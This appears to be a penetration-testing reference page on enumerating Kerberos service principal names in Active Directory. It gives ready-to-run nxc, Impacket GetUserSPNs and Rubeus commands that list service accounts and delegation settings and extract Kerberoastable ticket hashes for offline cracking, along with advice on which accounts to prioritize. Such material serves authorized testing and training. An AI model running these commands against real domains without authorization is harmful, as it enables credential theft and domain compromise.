Skip to content
HackIndex logo

HackIndex

Kerberos SPN enumeration

4 min read May 15, 2026

SPNs are the directory-backed mapping Kerberos uses to locate service tickets. Enumerating SPNs identifies service accounts, service types (MSSQL/HTTP/etc.), and delegation-related attributes that change targeting.

Most SPN enumeration is performed over LDAP, even though the data is used by Kerberos.

Prereqs and target assumptions

  • $TARGET_IP is a Domain Controller

  • $DOMAIN is the AD DNS domain

  • Credentials are usually required for full SPN enumeration

Quick SPN discovery with nxc (LDAP query)

This pulls raw LDAP attributes for any object with servicePrincipalName set. NetExec documents --query for raw LDAP filters and attribute selection.

┌──(kali㉿kali)-[~]
└─$ nxc ldap $TARGET_IP -u "$USER" -p "$PASSWORD" --query "(servicePrincipalName=*)" "sAMAccountName servicePrincipalName objectClass memberOf userAccountControl"
Explain command
$TARGET_IP Target IP address of the LDAP server.
-u "$USER" Username for LDAP authentication.
-p "$PASSWORD" Password for LDAP authentication.
--query Executes a custom LDAP query against the directory.
(servicePrincipalName=*) LDAP filter matching all objects with a servicePrincipalName set.
sAMAccountName servicePrincipalName objectClass memberOf userAccountControl Attributes to retrieve for each matching LDAP object.

What to do with output:

  • Prefer SPNs on user objects over computer objects for Kerberoasting targets (service accounts vs machine accounts).

  • Prioritize service classes that usually front business logic or credentials: MSSQLSvc/, HTTP/, WSMAN/, TERMSRV/, LDAP/, CIFS/.

  • Capture memberOf and userAccountControl for privilege context and basic hygiene (disabled accounts, etc.).

Optional delegation-related attributes (permission dependent):

┌──(kali㉿kali)-[~]
└─$ nxc ldap $TARGET_IP -u "$USER" -p "$PASSWORD" --query "(servicePrincipalName=*)" "sAMAccountName servicePrincipalName msDS-AllowedToDelegateTo msDS-AllowedToActOnBehalfOfOtherIdentity userAccountControl"
Explain command
$TARGET_IP Target host IP or hostname running LDAP service.
-u "$USER" Username for LDAP authentication.
-p "$PASSWORD" Password for LDAP authentication.
--query Execute a raw LDAP query filter against the directory.
(servicePrincipalName=*) LDAP filter matching all objects with any SPN set.
sAMAccountName servicePrincipalName msDS-AllowedToDelegateTo msDS-AllowedToActOnBehalfOfOtherIdentity userAccountControl LDAP attributes to retrieve: account name, SPNs, delegation settings, and UAC flags.

Interpretation:

  • msDS-AllowedToDelegateTo indicates constrained delegation targets.

  • msDS-AllowedToActOnBehalfOfOtherIdentity indicates RBCD configuration.

  • These fields don’t guarantee an immediate path, but they determine what becomes possible if the SPN account is obtained later.

Before moving to exploitation, confirm which accounts are highest priority — see Kerberoastable Service Accounts for RC4 vs AES assessment and privilege context.

Impacket GetUserSPNs (standard Kerberoast prep)

List SPNs (no ticket requests):

┌──(kali㉿kali)-[~]
└─$ impacket-GetUserSPNs "$DOMAIN/$USER:$PASSWORD" -dc-ip $TARGET_IP
Explain command
$DOMAIN/$USER:$PASSWORD Target domain with authenticating username and plaintext password.
-dc-ip $TARGET_IP Specifies the IP address of the domain controller to query.

What to expect:

  • A table of accounts with SPNs and associated metadata (including which are likely user accounts).

  • This is still enumeration. No ticket requests yet.

What to do next:

  • Identify service accounts tied to critical services (SQL, app pools, middleware).

  • If the same account owns multiple SPNs, prioritize it (one crack impacts multiple services).

Request tickets (Kerberoasting extraction) and write hashes:

┌──(kali㉿kali)-[~]
└─$ impacket-GetUserSPNs "$DOMAIN/$USER:$PASSWORD" -dc-ip $TARGET_IP -request -outputfile kerberoast.hashes
Explain command
$DOMAIN/$USER:$PASSWORD Target domain with authenticating username and plaintext password.
-dc-ip $TARGET_IP Specifies the IP address of the domain controller to query.
-request Requests TGS tickets for all discovered SPNs.
-outputfile kerberoast.hashes Saves retrieved TGS hashes to the specified output file.

Interpretation:

  • -request changes the action from “list” to “extract TGS material”. That’s typically still part of the SPN workflow, but treat it as a higher-impact action than pure listing.

  • kerberoast.hashes becomes offline cracking input — see Kerberoasting.

nxc Kerberoasting (ticket extraction path)

Use this when the intent is “extract now” and the engagement rules allow it.

┌──(kali㉿kali)-[~]
└─$ nxc ldap $TARGET_IP -u "$USER" -p "$PASSWORD" --kerberoasting kerberoast.hashes
Explain command
$TARGET_IP Target IP address of the LDAP server to connect to.
-u "$USER" Specifies the username for LDAP authentication.
-p "$PASSWORD" Specifies the password for LDAP authentication.
--kerberoasting Performs Kerberoasting attack, requesting TGS tickets for SPNs.
kerberoast.hashes Output file to save retrieved Kerberoastable hashes.

What to expect:

  • Hash output per roastable SPN account.

  • Failures usually indicate insufficient rights, channel issues, or hardened configurations.

Windows-side SPN roast stats (domain joined)

This provides counts and categories before doing broad extraction.

C:\Users\Guest\Desktop> Rubeus.exe kerberoast /stats
Explain command
kerberoast Performs Kerberoasting by requesting TGS tickets for SPN accounts.
/stats Displays statistics about Kerberoastable accounts without roasting them.

How to use it:

  • If the count is small, focus on manual targeting (SQL/app services) rather than bulk extraction.

  • If the count is large, prioritize by service class and by privilege context (accounts in admin groups).

References